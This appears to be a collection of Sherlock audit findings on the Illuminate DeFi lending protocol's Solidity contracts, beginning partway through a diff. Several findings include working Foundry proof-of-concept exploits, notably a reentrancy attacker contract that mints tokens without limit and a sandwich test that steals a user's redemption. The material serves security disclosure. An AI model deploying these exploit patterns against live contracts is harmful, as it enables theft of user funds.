+        uint256 lendersPrincipalTokens = IERC20(Contracts.YIELD_TOKEN).balanceOf(address(l));
+        uint256 attackersIlluminateTokens = IERC20(ipt).balanceOf(msg.sender);
+        // The attacker got almost twice as much of iPT as he should have.
+        // Attacker could get much higher multiple if the AttackersContract used
+        // more levels of recursion
+        assertGt(attackersIlluminateTokens, lendersPrincipalTokens * 19/10);
     }
 
     function testTempusLend() public {

Example of the vulnerability:
https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Lender.sol#L928

    /// @notice swaps underlying premium via a Yield Space Pool
    /// @dev this method is only used by the Yield, Illuminate and Swivel protocols
    /// @param u address of an underlying asset
    /// @param y Yield Space Pool for the principal token
    /// @param a amount of underlying tokens to lend
    /// @param r the receiving address for PTs
    /// @param p the principal token in the Yield Space Pool
    /// @param m the minimum amount to purchase
    /// @return uint256 the amount of tokens sent to the Yield Space Pool
    function yield(
        address u,
        address y,
        uint256 a,
        address r,
        address p,
        uint256 m
    ) internal returns (uint256) {
        // Get the starting balance (to verify receipt of tokens)
        uint256 starting = IERC20(p).balanceOf(r);

        // Get the amount of tokens received for swapping underlying
        uint128 returned = IYield(y).sellBasePreview(Cast.u128(a));

        // Send the remaining amount to the Yield pool
        Safe.transfer(IERC20(u), y, a);

        // Lend out the remaining tokens in the Yield pool
        IYield(y).sellBase(r, returned);

        // Get the ending balance of principal tokens (must be at least starting + returned)
        uint256 received = IERC20(p).balanceOf(r) - starting;

        // Verify receipt of PTs from Yield Space Pool
        if (received <= m) {
            revert Exception(11, received, m, address(0), address(0));
        }

        return received;
    }

(yield(...) is called from a couple of lend(...) methods. y is a user-supplied address)

Tool used

Manual Review

Recommendation

Duplicate of #179

rvierdiiev - Possible to create market for a protocol while Illuminate market is not created

rvierdiiev

medium

Possible to create market for a protocol while Illuminate market is not created

Summary

Possible to create market for a protocol while Illuminate market is not created

Vulnerability Detail

Function Marketplace.createMarket checks if illuminate market exists and if no, then it creates new Illuminate market and set all other protocol's principal markets. The main thing is that markets for token and maturity should not exists if Illuminate market was nor created.

Also Marketplace has function setPrincipal which allows to set any other protocol(allowed by illuminate) principal market. After check that market isn't set already it just set it.

So thing function makes it possible to create another protocols market without having illuminate one.

Example.
Admin set market for Yield protocol using setPrincipal function. Illuminate market do not exist for this base token and maturity.
As a result Yield market is available for using, while no illuminate market.

Impact

You can work with another market while illuminate is not created.

Code Snippet

Provided above

Tool used

Manual Review

Recommendation

Check that illuminate market already exist.

kenzo - `ERC5095.redeem/withdraw` do not work before token maturity

kenzo

low

ERC5095.redeem/withdraw do not work before token maturity

Summary

When trying to redeem before maturity,
both of these functions call marketplace.sellPrincipalToken, which tries to pull the PT from the sender.
But ERC5095 itself doesn't hold the PTs and doesn't pull them from the user.
Therefore the call will fail.

Vulnerability Detail

Detailed above.

Impact

Impaired functionality.
Assets can still be sold straight via Marketplace.

Code Snippet

For example we can see that redeem calls IMarketPlace(marketplace).sellPrincipalToken without pulling the PTs from the user:

    function redeem(uint256 s, address r, address o) external override returns (uint256) {
        // Pre-maturity
        if (block.timestamp < maturity) {
            uint128 assets = Cast.u128(previewRedeem(s));
            // If owner is the sender, sell PT without allowance check
            if (o == msg.sender) {
                uint128 returned = IMarketPlace(marketplace).sellPrincipalToken(...)

And sellPrincipalToken tries to pull the PTs from msg.sender:

        Safe.transferFrom(IERC20(address(pool.fyToken())), msg.sender, address(pool), a);

Since msg.sender is ERC5095 at that point, and ERC5095 didn't pull the tokens from the original sender, no tokens will be sent to the yield pool, and the redemption will fail.

Tool used

Manual Review

Recommendation

Pull the tokens from the user in ERC5095.redeem/withdraw.
(The flow can also be changed to make the process a little more efficient.)

Duplicate of #195

kenzo - Minting iPTs through iPTs will inflate iPT's totalSupply and mess up accounting

kenzo

medium

Minting iPTs through iPTs will inflate iPT's totalSupply and mess up accounting

Summary

Using Lender.mint, a user can send iPTs to Lender and mint new iPTs in return.
This will inflate the iPT supply.
In that state, when a user will try to redeem his iPTs, he will get less underlying than deserved - as Lender also holds iPTs who's value should in fact should be distributed equally amongst all holders.

Vulnerability Detail

Described above. Consider the following scenario:

  • Alice and Bob have 10 iPTs each. Total supply is 20.
  • Bob calls Lender.mint with Illuminate principal and his 10 iPTs
  • Bob's iPTs get sent to Lender, and Bob gets minted 10 new iPTs
  • Now Alice, Bob and Lender have 10 iPTs each
  • When Alice tries to redeem her iPTs, she gets only 1/3 of the pot, instead of 1/2.

Impact

Redemption accounting is off.
If a user mints iPTs through iPTs, then upon redemption, every user will get less underlying than deserved.
The underlying can still be rescued by Illuminate team if they withdraw the iPT from Lender, redeem it themselves, and distribute it rightfully to all the users.
But I think that's probably not something that should happen nor that Illuminate wants to have to do.

Code Snippet

This is the mint function. Note that it allows a user to send iPTs (p = 0) to Lender and mint new iPTs in return.

    function mint(uint8 p, address u, uint256 m, uint256 a) external unpaused(u, m, p) returns (bool) {
        address principal = IMarketPlace(marketPlace).token(u, m, p);
        Safe.transferFrom(IERC20(principal), msg.sender, address(this), a);
        IERC5095(principalToken(u, m)).authMint(msg.sender, a);
        emit Mint(p, u, m, a);
        return true;
    }

And upon redemption, Illuminate redeems to the user his pro rata share of iPT's supply:

        // Get the amount of tokens to be redeemed from the sender
        uint256 amount = token.balanceOf(msg.sender);
        // Calculate how many tokens the user should receive
        uint256 redeemed = (amount * holdings[u][m]) / token.totalSupply();

Therefore, as the supply has been inflated by tokens sent to Lender, user will get less than deserved, as described above.

Tool used

Manual Review

Recommendation

Do not allow minting iPTs in Lender.mint if p == 0 (supplying iPTs).

Duplicate of #108

Ruhum - `Reedemer.redeem()` for Sense will always fail

Ruhum

high

Reedemer.redeem() for Sense will always fail

Summary

Because of a missing approval to the Converter contract, the Reedemer.redeem() function for Sense will always fail.

Vulnerability Detail

When a new market is created, the Marketplace contract calls the Reedemer contract's approve() function to give the Converter contract access to its tokens.

Reedemer uses Converter for 3 Principals:

  • Sense
  • Pendle
  • APWine

But, in the createMarket() function of the Marketplace, the approval for Sense is missing. Thus, the Reedemer contract calls the Converter without granting it the approval to access Sense's compounding token. All of these calls will fail. Effectively, the tokens will be locked up.

There's actually a fork test for this specific scenario. But, the test uses Foundry's helper methods to manually approve the Converter contract to access the token.

Impact

Users won't be able to redeem their Sense principal.

Code Snippet

When a market is created, it only approves for Pendle and APwine: https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Marketplace.sol#L184-L196

  // Have the redeemer contract approve the Pendle principal token
  if (t[3] != address(0)) {
      address underlyingYieldToken = IPendleToken(t[3])
          .underlyingYieldToken();
      IRedeemer(redeemer).approve(underlyingYieldToken);
  }

  if (t[6] != address(0)) {
      address futureVault = IAPWineToken(t[6]).futureVault();
      address interestBearingToken = IAPWineFutureVault(futureVault)
          .getIBTAddress();
      IRedeemer(redeemer).approve(interestBearingToken);
  }

The redeem() function for Sense calls the Converter: https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Redeemer.sol#L379

  // Get the compounding token that is redeemed by Sense
  address compounding = ISenseAdapter(a).target();

  // Redeem the compounding token back to the underlying
  IConverter(converter).convert(
      compounding,
      u,
      IERC20(compounding).balanceOf(address(this))
  );

The fork test uses startPrank() to impersonate the Redeemer contract and approve the Converter for the test to pass: https://github.com/sherlock-audit/2022-10-illuminate/blob/main/test/fork/Redeemer.t.sol#L370-L372

vm.startPrank(address(r));
IERC20(Contracts.WSTETH).approve(address(c), type(uint256).max);
vm.stopPrank();

If you comment out that snippet, the test will fail.

Tool used

Manual Review

Recommendation

In createMarket() approve the Sense token as well.

Duplicate of #117

0x0 - No Upper Bound Feenominator Value

0x0

medium

No Upper Bound Feenominator Value

Summary

There is no upper bound for the maximum value of the feenominator.

Vulnerability Detail

Lender.setFee

This function implements the ability for the admin to be able to set the feenominator variable used for calculating fees to be charged in lending. There's no maximum value validation.

Impact

  • In the event of a compromised/malicious admin this could be set to an extremely high value and users taking a loan will be overcharged on the fee they pay.

Code Snippet

function setFee(uint256 f) external authorized(admin) returns (bool) {
    uint256 feeTime = feeChange;
    if (feeTime == 0) {
        revert Exception(23, 0, 0, address(0), address(0));
    } else if (block.timestamp < feeTime) {
        revert Exception(
            24,
            block.timestamp,
            feeTime,
            address(0),
            address(0)
        );
    } else if (f < MIN_FEENOMINATOR) {
        revert Exception(25, 0, 0, address(0), address(0));
    }
    feenominator = f;
    delete feeChange;
    emit SetFee(f);
    return true;
}

Tool used

Manual Review

Recommendation

  • Validate the new value is within an acceptable limit:
    } else if (f < MIN_FEENOMINATOR || f > MAX_FEENOMINATOR ) {

kenzo - Extra minting after `yield()` function causes iPT supply inflation and skewed accounting

kenzo

medium

Extra minting after yield() function causes iPT supply inflation and skewed accounting

Summary

In Swivel and Illuminate's lend functions, yield() is being called, which swaps PTs for iPTs.
After that call, additional iPTs are minted and sent to the user.
This means that Lender ends up holding extra iPTs which will skew the accounting.

Vulnerability Detail

Described above and below.

Impact

Redemption accounting is off.
If iPT supply is inflated and Lender holds iPTs, then upon redemption, every user will get less underlying than deserved.
The underlying can still be rescued by Illuminate team if they withdraw the iPT from Lender, redeem it themselves, and distribute it rightfully to all the users.
But I think that's probably not something that should happen nor that Illuminate wants to have to do.
As this functionality is legit use of the protocol, it means the funds will have to be rescued and distributed manually to all the users every time.

Code Snippet

When a user calls lends for Illuminate principal, the function will call yield() and then mint iPTs to the user.

        uint256 returned = yield(u, y, a - a / feenominator, address(this), principal, minimum);
        IERC5095(principalToken(u, m)).authMint(msg.sender, returned);

The same thing happens in swivelLendPremium.

        uint256 swapped = yield(u, y, p, address(this), IMarketPlace(marketPlace).token(u, m, 0), slippageTolerance);
        IERC5095(principalToken(u, m)).authMint(msg.sender, swapped);

But yield() function already swaps PTs for iPTs, which end up in Lender itself (3rd parameter above, address(this)) - so there is no need to mint additional ones.

Therefore, Lender has bought iPTs from the pool for the user, and then proceeds to mint additional ones and send them to the user, leaving the swapped ones in Lender's possession.
This leads to inflated supply, and as Redeemer redeems user's iPTs as per iPT's total supply, this leads to the discrepancy detailed above.

Tool used

Manual Review

Recommendation

If yield() has bought from the YieldPool iPTs for the user, send them to him, instead of minting extra new ones.

0xmuxyz - Should use safeTransferFrom() instead of transferFrom()

0xmuxyz

medium

Should use safeTransferFrom() instead of transferFrom()

Summary

  • Should usesafeTransferFrom() instead of transferFrom()

Vulnerability Detail

  • A lot of transferFrom() are used in this repo instead of safeTransferFrom() like I wrote at the Code Snippet below.

Impact

  • In case of using transferFrom() function, transaction using it will not return the transaction result with "boolean" (True or False) that show whether transaction is successful or not. That allow attackers to move forward from the line that includes transferFrom() to next line. It might gives attackers opportunity to do malicious attacks or unexpected behaviors.

Code Snippet

Tool used

  • Manual Review (Foundry)

Recommendation

kenzo - Protocol will lose fees when lending on Swivel and swapping in YieldPool

kenzo

medium

Protocol will lose fees when lending on Swivel and swapping in YieldPool

Summary

When a user uses Lender.lend to lend on Swivel, and passes e=true so remainder of funds will be swapped in YieldPool,
The contract will send to the YieldPool the order's protocol fee as well.

Vulnerability Detail

Detailed above and in the code snippet below.

Impact

Protocol funds will be lost, as user will not pay fee for this order.
Fees accounting will be wrong, as fees contains fees which are not present in the contract. withdrawFee will fail (as it tries to withdraw more than balance) and admin will have to withdraw fees using the emergency mechanism.

Code Snippet

When landing on Swivel, Lender will sum up the fees of the order, substract it from the order amount, and then add it to fees:

                // Add the accumulated fees to the total
                a[lastIndex] = a[lastIndex] - fee; // Revert here if fee not paid
                // Extract fee
                fees[u] += fee;

After initiating the Swivel order, the function checks what's the underlying remainder, and sends it to Yield to swap to iPTs:

                if (e) {
                    // Calculate the premium
                    uint256 premium = IERC20(u).balanceOf(address(this)) - starting;
                    // Swap the premium for Illuminate principal tokens
                    swivelLendPremium(u, m, y, premium, premiumSlippage);
                }

Note that since the fees have not been sent to Swivel, they are included in the premium delta.
They are then sent to be swapped on Yield using swivelLendPremium.
Therefore, the fees will be lost, the accounting will be off, and withdrawFee will revert when it tries to send more than the contract's balance.

Tool used

Manual Review

Recommendation

Deduct fee from premium.

Duplicate of #45

caventa - Unsafe casting from int128 can cause the wrong accounting amount

caventa

medium

Unsafe casting from int128 can cause the wrong accounting amount

Summary

Unsafe casting from int128 can cause the wrong accounting amount.

Vulnerability Detail

The unsafe casting to int128 variable (See Marketplace.sol#L310) can cause its value to be different from the original value.

Impact

In this case, if the value is greater than type(int128).max which is 2**127 - 1, then the accounting will be wrong and the amount will be less than the amount of the token.

Code Snippet

https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Marketplace.sol#L310
https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Lender.sol#L940
https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/lib/Cast.sol#L10

Tool used

Manual Review

Recommendation

Using Cast.u128 to do casting is a better option because it will revert the transaction if the amount is larger than 2**127 - 1. Cast.u128 is used several times in Lender.sol (See Lender.sol#L940) and ERC5095.sol, which I think the developer should use the same approach too.

Prefix - Lender.sol and Marketplace.sol admin can be set to any address

Prefix

low

Lender.sol and Marketplace.sol admin can be set to any address

Summary

Admin address can be set to zero by mistake, thus disabling all the admin methods.

Vulnerability Detail

The method setAdmin only sets the admin address without any checks:
https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Lender.sol#L219-L223

This means that if admins use this method mistakingly with address that they do not own, they would lose the admin access to the marketplace forever. Because README.md says that admins are always multisig, probability of such mistake is smaller but it is still there.

The same problem is repeated in Marketplace.sol.

Impact

Losing administration access to a marketplace.

Code Snippet

Tool used

Manual Review

Recommendation

Copied from point 50 of https://secureum.substack.com/p/security-pitfalls-and-best-practices-101 :
Changing critical addresses in contracts should be a two-step process where the first transaction (from the old/current address) registers the new address (i.e. grants ownership) and the second transaction (from the new address) replaces the old address with the new one (i.e. claims ownership). This gives an opportunity to recover from incorrect addresses mistakenly used in the first step. If not, contract functionality might become inaccessible. (see here and here)

kenzo - `authRedeem` and `autoRedeem` do not check if the market is paused

kenzo

medium

authRedeem and autoRedeem do not check if the market is paused

Summary

Redeemer.redeem function checks if market redemptions are paused via the unpaused(u, m) modifier.
This check is missing from authRedeem and autoRedeem.

Vulnerability Detail

As described above.

Impact

There is inconsistency in the redeeming methods.
This renders the pausing mechanism ineffective and may lead to loss of funds.

If for example there's an insolvency in some market, like Compound, and Illuminate pauses redemptions until it is fixed,
users may accidently still redeem their iPTs via ERC5095.redeem/withdraw and autoRedeem,
thereby not getting their full underlying back, and losing assets.
(Once the market is properly redeemed and unpaused, other iPT redemptions will receive underlying that belonged to the unfortunate early redeemer.)

Additionally, since autoRedeem may be called by anybody once a user has opted to use the mechanism,
and since it does not have the unpaused check,
anybody might burn an autoRedeem-user's tokens while the market is paused.
This can be done by accident, or even maliciously, as burning tokens prematurely will increase everybody else's share of the underlying once it is properly redeemed.

Code Snippet

We can see the redeem function has an unpaused modifier:

    function redeem(address u, uint256 m) external unpaused(u, m) {

But authRedeem and autoRedeem do not contain this modifier, nor have any equivalent check.

Tool used

Manual Review

Recommendation

Add the unpaused modifier to authRedeem and autoRedeem.

Duplicate of #113

caventa - Unable to withdraw native coins like Ether from Marketplace.sol

caventa

medium

Unable to withdraw native coins like Ether from Marketplace.sol

Summary

Unable to withdraw native coins like Ether from Marketplace.sol.

Vulnerability Detail

The batch function (See Marketplace.sol#L617) is a payable function that allows users to send ether while calling any non-view function of Marketplace.sol. However, there is no function in Marketplace.sol to allow the admin to withdraw Ether from the contract which can lead to Ether being stuck in the contract forever.

Impact

Ether could be stuck forever in Marketplace.sol

Code Snippet

https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Marketplace.sol#L617

Tool used

Manual Review

Recommendation

Either Remove the payable keyword or allow the admin to withdraw Ether from the contract by adding the following code

function withdraw() external authorized(admin) {
        payable(admin).transfer(address(this).balance);
}

Nyx - Lender.mint() May Take The Illuminate PT As Input Which Will Transfer And Mint More Illuminate PT Cause an Infinite Supply

Nyx

medium

Lender.mint() May Take The Illuminate PT As Input Which Will Transfer And Mint More Illuminate PT Cause an Infinite Supply

Summary

Steps:

Lender.lend() with p = 0 to get some Illuminate principal tokens
token.approve() gives Lender allowance to spend these tokens
loop:
Lender.mint() with p = 0 minting more principal tokens

Vulnerability Detail

Impact

Lender.mint() may use p = 0 which will mean principal is the same as principalToken(u, m) i.e. the Illuminate PT. The impact is we will transfer some principal to the Lender contract and it will mint us an equivalent amount of principal tokens.

This can be repeated indefinitely thereby minting infinite tokens. The extra balance will be store in Lender.

Code Snippet

https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Lender.sol#L270-L288

Tool used

Manual Review

Recommendation

Do not accept principal 0 in the mint function.

Duplicate of #108

kenzo - Attacker can steal funds from redemptions by minting matured PTs

kenzo

high

Attacker can steal funds from redemptions by minting matured PTs

Summary

Some of the lending/minting functions do not check if the principal pulled or iPT minted have already matured.
This can lead to bad accounting and even allows an attacker to steal funds when user try to redeem their iPTs.

Vulnerability Detail

In the mint method, Lender pulls protocol PTs from the user and mints iPTs in return.
It does not check whether the supplied PT or the iPT has matured.
Similarly, the lend methods, including the Pendle lend method which uses SushiSwap, do not check whether the iPT being minted has matured.

Using these, a user or attacker can mint additional iPTs after the protocol PTs have already been redeemed by the Redeemer, thereby creating an inconsistency between iPT's totalSupply and Redeemer's holdings array. This will lead to loss for users trying to redeem at this state.
This can happen both accidently or maliciously.

Impact

Loss of user funds.

  • Let's say Alice and Malaclypse hold each 100 YieldPTs.
  • Before maturity, Alice mints 100 iPTs using her YPTs. iPT totalSupply is 100.
  • At maturity, somebody redeems Yield market using Redeemer.
  • After that, Malaclypse uses Lender.mint to mint 100 iPTs from his YPTs.
  • At this point, the iPT totalSupply is 200, but the Redeemer holdings array contains only 100 underlying redeemed.
  • Now Alice tries to redeem her iPTs. Since she owns 100/200 of the iPTs, she will get half of the holdings array - 50 underlying - but all of her iPTs have been burned. Therefore she lost funds.
  • Now if Malaclypse redeems Yield market again, and then redeems his iPTs, since he owns all of the supply he will get 150 underlying.

I programmed such a POC and attached below.

Code Snippet

The mint function doesn't check if the market has matured:

    function mint(uint8 p, address u, uint256 m, uint256 a) external unpaused(u, m, p) returns (bool) {
        address principal = IMarketPlace(marketPlace).token(u, m, p);
        Safe.transferFrom(IERC20(principal), msg.sender, address(this), a);
        IERC5095(principalToken(u, m)).authMint(msg.sender, a);
        emit Mint(p, u, m, a);
        return true;
    }

Therefore a user/attacker can mint tokens iPTs through matured markets, and create the abovementioned loss/attack. See POC.

Additionally, the lend methods do not check if a market has matured.
This presents another option to execute this attack.
Some of the lend functions will revert if trying to buy PTs after maturity, but not all:
Pendle's lend uses a SushiSwap pool, which always allows swapping. Since this method doesn't check that the the supplied p is actually Pendle, a user can create a SushiSwap pool for a different protocol (eg. Yield), and pass this protocol as p. The lend function will continue to swap the supplied underlying with the PTs from the user-created pool, thus minting iPTs to the attacker, which will perform the attack. (The attacker will then withdraw all liquidity from the pool and lose no funds.)

Proof of Concept

I created the following POC to show such an attack.
In it Alice simply tries to redeem her tokens, but Malaclypse sandwiches her redemption and steals her funds.
The final assertion in the test asserts that Alice has her starting balance back - but it fails, since Mal stole it.
Add the test to fork/Redeemer.t.sol.

function testTryToStealUsingMaturedPTs() public {
        // deploy market
        deployMarket(Contracts.USDC, 0);

        // give redeemer underlying tokens
        deal(Contracts.USDC, address(r), startingBalance);

        // update holdings by executing another redeem
        address principalToken = Contracts.YIELD_TOKEN;
        {
            

            // give lender principal tokens
            deal(principalToken, address(l), startingBalance);

            // approve lender to transfer principal tokens
            vm.startPrank(address(l));
            IERC20(principalToken).approve(address(r), startingBalance*2);
            vm.stopPrank();

            vm.startPrank(msg.sender);

            // execute the redemption
            r.redeem(2, Contracts.USDC, maturity);
            vm.stopPrank();
        }
        // give user illuminate tokens
        address illuminateToken = mp.markets(Contracts.USDC, maturity, 0);
        deal(illuminateToken, msg.sender, startingBalance, true);

        // Set up attacker with matured YieldPTs
        address attacker = address(5);
        deal(principalToken, attacker, startingBalance);

        // At this point, Yield has already been redeemed.
        // The legit user now tries to redeem his iPTs, but attacker sandwiches him and steals his funds.

        // Attacker: mint iPTs for YieldPTs through Lender
        vm.startPrank(attacker);
        IERC20(principalToken).approve(address(l), startingBalance);
        l.mint(2, Contracts.USDC, maturity, startingBalance);
        vm.stopPrank();
        // Original user redeems his iPTs - will get less underlying as accounting is inconsistent
        vm.prank(msg.sender);
        r.redeem(Contracts.USDC, maturity);
        // Now attacker redeems the market again and then redeems his iPTs
        vm.startPrank(attacker);
        r.redeem(2, Contracts.USDC, maturity);
        r.redeem(Contracts.USDC, maturity);

        // Original user should have his original balance back - but he doesn't, as attacker siphoned it. Assertion will fail.
        assertEq(IERC20(Contracts.USDC).balanceOf(msg.sender), startingBalance);
    }

Tool used

Manual Review

Recommendation

In Lender mint, when pulling PTs from the user, check that these specific protocol PTs have not matured.
Similarly in the lend methods, check that the specific protocol's PT has not matured. (Some of the protocols already do that for you, but not all).

Note that this issue also brings to mind the possible problem with users redeeming their iPTs before all protocol redemptions have occurred. But I believe that can be considered a different issue. This current issue is about needing to make sure users can not accidently or maliciously mint iPTs that will dilute the redemption value for previous iPT holders.

Duplicate of #208

0x0 - Development Contracts In Production

0x0

medium

Development Contracts In Production

Summary

The Redeemer contract has the Forge Standard Library contract imported.

Vulnerability Detail

Redeemer

Line 34 imports the Forge Standard Library. As well as increasing the size and cost of the contract to deploy, this exposes development ABIs that are not required for this system to work.

Impact

  • The administrators would be forced to redeploy the contracts without this library costing additional Ether.
  • Users would be asked to move to a new contract instance without this library which incurs a migration cost for them from unwrapping/wrapping using the new contract.

Code Snippet

import 'forge-std/Test.sol';

Tool used

Manual Review

Recommendation

  • Remove development libraries from production deployments.

rvierdiiev - Marketplace.setPrincipal funtion approves allowance for Notional incorrectly

rvierdiiev

medium

Marketplace.setPrincipal funtion approves allowance for Notional incorrectly

Summary

Marketplace.setPrincipal funtion approves allowance for Notional incorrectly

Vulnerability Detail

Marketplace.setPrincipal is used to provide principal token for the base token and maturity when it was not set yet. To set PT you also provide protocol that this token belongs to.

In case of Notional the allowance is set incorrectly.
https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Marketplace.sol#L236-L239

        } else if (p == uint8(Principals.Notional)) {
            // Principal token must be approved for Notional's lend
            ILender(lender).approve(address(0), address(0), address(0), a);
        }

It provides address(0) instead of base token here, so actually Lender does not create any allowance.

Impact

No allowance was created for Notional protocol, operations with it will fail.

Code Snippet

Provided above

Tool used

Manual Review

Recommendation

Change to this.

        } else if (p == uint8(Principals.Notional)) {
            // Principal token must be approved for Notional's lend
            ILender(lender).approve(u, address(0), address(0), a);
        }

Duplicate of #41

kenzo - Reentrancy in lending functions allows attacker to mint infinite amount of iPTs

kenzo

high

Reentrancy in lending functions allows attacker to mint infinite amount of iPTs

Summary

Some of the lending functions get a user-controlled contract as a swapping pool and call it.
The lending function checks Lender's balance before and after the call to quantify the amount of tokens received.
But an attacker can reenter the contract, thereby fooling this check and minting arbitrary amount of tokens to itself.

Vulnerability Detail

This pattern is present when lending for protocols Illuminate, Yield, Swivel, APWine, Sense, Element.
Let's look at Sense's lend for example.
The (truncated) function is as follows:

            uint256 starting = token.balanceOf(address(this));
            ISensePeriphery(x).swapUnderlyingForPTs(adapter, s, lent, r);
            received = token.balanceOf(address(this)) - starting;
            IERC5095(principalToken(u, m)).authMint(msg.sender, received);

x is a user supplied parameter.
An attacker can supply as x a contract which upon the first call, reenters Lender, and upon the second call, does a real swap on Sense (or just sends PTs to Lender). In that case, both the first and second lend calls will calculate that the contract received delta principal from the attacker, although it was received only once. So the attacker would get twice the amount of iPTs. I've created a POC below.

Impact

Loss of user funds.
Infinite minting of iPTs is possible.
Attacker may then dump them on the market,
or mint them just before market maturity, and then redeem them, thereby stealing user funds.

Bonus:
The reentrancy also allows an attacker to steal protocol fees, eg. through Sense or APWine lending which doesn't verify the supplied pool/adapter.
The attacker would start a lend call for an expensive underlying (stEth). Sense's swapUnderlyingForPTs call would call the attacker contract which would call Sense function again, but with a cheap underlying (DAI), and an adapter that will swap stEth, not DAI. This stEth is present in Lender due to user fees. This second function call would swap stEth for the PT and mint nothing to the attacker (since u==DAI). But then the first function would resume, seeing that the contract received stEth PTs, and would mint to the attacker stEth iPTs on the expense of the protocol's fees. So the attacker supplied DAI and received equal amount of stEth, not a bad trade.

Code Snippet

Above I've pasted Sense's function.
Yield, Illuminate and Swivel (via swivelLendPremium) all use the yield function which contains the same vulnerable pattern (truncated. y is user supplied pool):

        uint256 starting = IERC20(p).balanceOf(r);
        IYield(y).sellBase(r, returned);
        uint256 received = IERC20(p).balanceOf(r) - starting;

Element function (e is user supplied):

        uint256 starting = IERC20(principal).balanceOf(address(this));
        IElementVault(e).swap(s, f, r, d);
        uint256 purchased = IERC20(principal).balanceOf(address(this)) - starting;

And same pattern for APWine.

        uint256 starting = IERC20(principal).balanceOf(address(this));
        IAPWineRouter(x).swapExactAmountIn(...);
        uint256 received = IERC20(principal).balanceOf(address(this)) - starting;

Proof of Concept

The following test will demonstrate the vulnerability.
Paste it in fork/Lender.t.sol. The test should go after all the tests, inside contract LenderTest block, and the contract should go outside that block.

function testInfiniteMintWithReentrancy() public {
        deployMarket(Contracts.WETH);

        // For ease of POC we will seed attacker with initialBalance of SensePT.
        // He will end up with initialBalance * (timesToRenter + 1) iPTs.
        uint256 initialBalance = 100 ether;
        uint256 timesToRenter = 100;
        ReentrancyAttacker attackContract = new ReentrancyAttacker();
        deal(Contracts.SENSE_TOKEN, address(attackContract), initialBalance);

        attackContract.executeVeryProfitableContractInteraction(l, IERC20(Contracts.SENSE_TOKEN), Contracts.WETH, maturity, timesToRenter);

        address ipt = mp.markets(Contracts.WETH, maturity, 0);
        // Attacker has [initialBalance * (timesToRenter + 1)] iPTs although he started with only initialBalance iPTs.
        assertEq(IERC20(ipt).balanceOf(address(attackContract)), initialBalance * (timesToRenter + 1));
    }
contract ReentrancyAttacker {
    uint256 timesToReenter;
    IERC20 pt;
    Lender lender;
    address u;
    uint256 m;

    function callLend() internal {
        // Call Lender for Sense protocol
        lender.lend(6, u, m, 0, 0, address(this), 0, address(0));
    }

    function executeVeryProfitableContractInteraction(Lender _lender, IERC20 _pt, address _u, uint256 _m, uint256 _timesToReenter) public {
        lender = _lender;
        pt = _pt;
        u = _u;
        m = _m;
        timesToReenter = _timesToReenter;

        callLend();
    }

    // The callback from Lender
    function swapUnderlyingForPTs(address, uint256, uint256, uint256) external returns (uint256 r) {
        r = 23; // just to silence compiler warning 😐
        if (timesToReenter == 0) {
            uint256 balance = pt.balanceOf(address(this));
            pt.transfer(address(lender), balance);
        } else {
            timesToReenter--;
            callLend();
        }
    }
}

Tool used

Manual Review

Recommendation

Add reentrancy lock on the lending functions.

Duplicate of #179

Bnke0x0 - Lender.mint() May Take The Illuminate PT As Input Which Will Transfer And Mint More Illuminate PT Cause an Infinite Supply

Bnke0x0

medium

Lender.mint() May Take The Illuminate PT As Input Which Will Transfer And Mint More Illuminate PT Cause an Infinite Supply

Summary

Vulnerability Detail

Impact

Lender.mint() May Take The Illuminate PT As Input Which Will Transfer And Mint More Illuminate PT Cause an Infinite Supply

Code Snippet

https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Lender.sol#L270-L288

       ' function mint(
    uint8 p,
    address u,
    uint256 m,
    uint256 a
) external unpaused(u, m, p) returns (bool) {
    // Fetch the desired principal token
    address principal = IMarketPlace(marketPlace).token(u, m, p);

    // Transfer the users principal tokens to the lender contract
    Safe.transferFrom(IERC20(principal), msg.sender, address(this), a);

    // Mint the tokens received from the user
    IERC5095(principalToken(u, m)).authMint(msg.sender, a);

    emit Mint(p, u, m, a);

    return true;
}'

Steps:

  • Lender.lend() with p = 0 to get some Illuminate principal tokens
  • token.approve() gives Lender allowance to spend these tokens
  • loop:
    • Lender.mint() with p = 0 minting more principal tokens

Tool used

Manual Review

Recommendation

In Lender.mint() ensure p != uint8(MarketPlace.Principals.Illuminate)) .

Duplicate of #108

rvierdiiev - ERC5095.deposit doesn't check if received shares is less then provided amount

rvierdiiev

medium

ERC5095.deposit doesn't check if received shares is less then provided amount

Summary

ERC5095.deposit doesn't check if received shares is less then provided amount. In some cases this leads to lost of funds.

Vulnerability Detail

The main thing with principal tokens is to buy them when the price is lower (you can buy 101 token while paying only 100 base tokens) as underlying price and then at maturity time to get interest(for example in one month you will get 1 base token in our case).

ERC5095.deposit function takes amount of base token that user wants to deposit and returns amount of shares that he received. To not have loses, the amount of shares should be at least bigger than amount of base tokens provided by user.

    function deposit(address r, uint256 a) external override returns (uint256) {
        if (block.timestamp > maturity) {
            revert Exception(
                21,
                block.timestamp,
                maturity,
                address(0),
                address(0)
            );
        }
        uint128 shares = Cast.u128(previewDeposit(a));
        Safe.transferFrom(IERC20(underlying), msg.sender, address(this), a);
        // consider the hardcoded slippage limit, 4626 compliance requires no minimum param.
        uint128 returned = IMarketPlace(marketplace).sellUnderlying(
            underlying,
            maturity,
            Cast.u128(a),
            shares - (shares / 100)
        );
        _transfer(address(this), r, returned);
        return returned;
    }

While calling market place, you can see that slippage of 1 percent is provided.

uint128 returned = IMarketPlace(marketplace).sellUnderlying(
            underlying,
            maturity,
            Cast.u128(a),
            shares - (shares / 100)
        );

But this is not enough in some cases.

For example we have ERC5095 token with short maturity which provides 0.5% of interests.
userA calls deposit function with 1000 as base amount. He wants to get back 1005 share tokens. And after maturity time earn 5 tokens on this trade.

But because of slippage set to 1%, it's possible that the price will change and user will receive 995 share tokens instead of 1005, which means that user has lost 5 base tokens.

I propose to add one more mechanism except of slippage. We need to check if returned shares amount is bigger then provided assets amount.

Impact

Lost of funds.

Code Snippet

Provided above.

Tool used

Manual Review

Recommendation

Add this check at the end
require(returned > a, "received less than provided")

